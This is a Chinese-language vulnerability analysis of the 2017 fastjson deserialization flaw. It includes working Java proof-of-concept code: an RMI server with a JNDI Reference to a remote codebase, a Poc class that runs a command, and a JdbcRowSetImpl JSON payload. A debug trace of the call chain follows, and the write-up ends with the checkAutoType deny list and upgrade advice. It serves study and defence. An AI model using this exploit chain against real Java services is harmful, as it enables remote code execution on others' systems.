一、概述
fastjson自2017年爆出序列化漏洞以来,漏洞就一直停不下来。本次主要研究2017年第一次爆出反序列化漏洞。
二、漏洞复现
首先在本机简单进行下漏洞复现。
2.1 创建Poc类
该类为最终触发利用代码的类,因为是通过JAVA RMI方式读取,所以该类需继承UnicastRemoteObject。该对象执行后会在windows环境中弹出计算器。使用javac编译Poc类,生成Poc.class文件。并启用一个简单的Http服务,提供读取Poc.class文件,通过http://10.2.13.27:8888/Poc.class可成功访问到Poc.class文件
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class Poc extends UnicastRemoteObject{
public Poc() throws RemoteException{
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] args){
try {
Poc poc = new Poc();
}catch (Exception e){
e.printStackTrace();
}
}
}
2.2 创建RMI服务端
public class RMIService {
public static void main(String[] args){
try {
//netPoc poc = new Poc();
Registry registry = LocateRegistry.createRegistry(10999);
//JdbcRowSetImpl中是通过jndi lookup方法进行代码注入
Reference reference = new Reference("Poc","Poc","http://10.2.13.27:8888/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Poc",referenceWrapper);
System.out.println("bind 10999....");
}catch (Exception e){
e.printStackTrace();
}
}
}
2.3 示例代码
若Jdk版本高于8u113需要添加 System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true") ,否则将不会成功。因为高版本jdk禁止了RMI协议使用远程codebase。
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
/**
* 利用JdbcRowSetImpl进行反序列化,但高版本jdk无法成功JDK 6u132, 7u122, or 8u113
* */
public class FastJsonService {
public static void main(String[] args){
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
//JdbcRowSetImpl
String str = "{\"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://10.2.13.27:10999/Poc\", \"autoCommit\":true}";
JSONObject jsonObject = JSON.parseObject(str);
}
}
2.4 运行效果
三、漏洞分析
3.1 总体分析
fastjson主要用来进行序列化和反序列化操作。本次漏洞利用主要是反序列化模块,当我们传入一个json字符串时
"{\"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://10.2.13.27:10999/Poc\", \"autoCommit\":true}";
因json中指定了@type参数,故fastjson会尝试将该字符串反序列化为JdbcRowSetImpl类对象,并调用类中的set方法对dataSourceName和autoCommit属性进行赋值。
fastjson进行反序列化时,如果类中存在无参构造函数,则直接调用无参构造函数进行初始化类。若不存在无参构造函数,则会寻找参数最多的构造函数进行初始化类。
故会直接调用JdbcRowSetImpl类中的无参构造函数进行类初始化。可看到conn设置为null。所以setAutoCommit方法会进入else中,即调用 this.conn = this.connect();
在connect()中可以看到会调用JNDI的lookup函数,并且参数值为我们反序列化时传入的dataSourceName属性,dataSourceName传入值为rmi://10.2.13.27:10999/Poc,所以最终会成功执行到我们编写的Poc类。
3.2 详细分析
首先,借用别人画的fastjson部分类关系图
鉴于我们的Payload最终是 Runtime.getRuntime.exec("calc") ,所以我们在Runtime类的exec方法中设置断点并启动调试模式
完整调用路径如下图,我们跟踪下调用过程
3.2.1 JSON
首先调用JSON对象,依次为 parseObject(String text)-->parse(String text)->parse(String text,int featrues) ,其中text为我们输入的 {"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://10.170.158.31:10999/Poc", "autoCommit":true} ,features为989
在parse(String text,int features)中调用 DefaultJSONParser parser=new DefaultJSONParser(text,ParserConfig.getGlobalInstance(),features);
首先初始化了一个DefaultJSONParser的对象,调用的是DefaultJSONParser的三参数构造函数,在DefaultJSONParser构造函数中调用了 new JSONScanner(input,features)
其中input即为我们的输入 {"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://10.170.158.31:10999/Poc", "autoCommit":true} ,features为989
随后调用 DefaultJSONParser(Object input,JSONLexer lexer,ParserConfig config)
主要将上一步生成的JSONScanner对象赋值给JSONlexer对象lexer并进行一些初始化操作,ch设置为‘{’,token设置为JSONTOKEN.LBRACE即12
至此 new DefaultJSONParser(text,ParserConfig.getGlobalInstance(),features) 完成。
下一步进入JSON类的 parse(String text,int features) 的 Object value=parser.parse() ,即DefaultJSONParse类的parse()方法
3.2.2 DefaultJSONParse
继续进入 parse()--》parse(ObjectfieldName) ,上一步DefaultJSONParse初始化时,token设置成JSONTOKEN.LBRACE
随后进入 parseObject(object,fieldName) ,通过 scanSymbol 获取到 “@type”
再获取到我们payload中@type的值为"com.sun.rowset.JdbcRowSetImpl",并通过loadClass加载
随后进入
3.2.3 JavaBeanDeserializer
进入JavaBeanDeserializer的deserialze方法,并执行到 boolean match = parseField(parser, key, object, type, fieldValues);
一路跟踪,最后进入 public void setValue(Object object, Object value) 方法,method即为我们传入的JdbcRowSetImpl.setAutoCommit,value即为true。最终会调用传入类的set方法进行赋值,即最终调用setAutoCommit(true)。
至此,就进入我们在3.1中对jdbcRowSetImpl类的setAutoCommit方法的分析,最终导致了远程代码执行。
四、漏洞预防
fastjson在1.2.25开始的版本中新增 public Class<?> checkAutoType(String typeName, Class<?> expectClass) 方法,denyList数组中的类均无法进行反序列化,但仍然存在绕过checkAutoType方法的途径,也导致后续fastjson漏洞不断。
private String[] denyList = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework".split(",");
若要避免fastjson已知漏洞,请直接升级到最新版。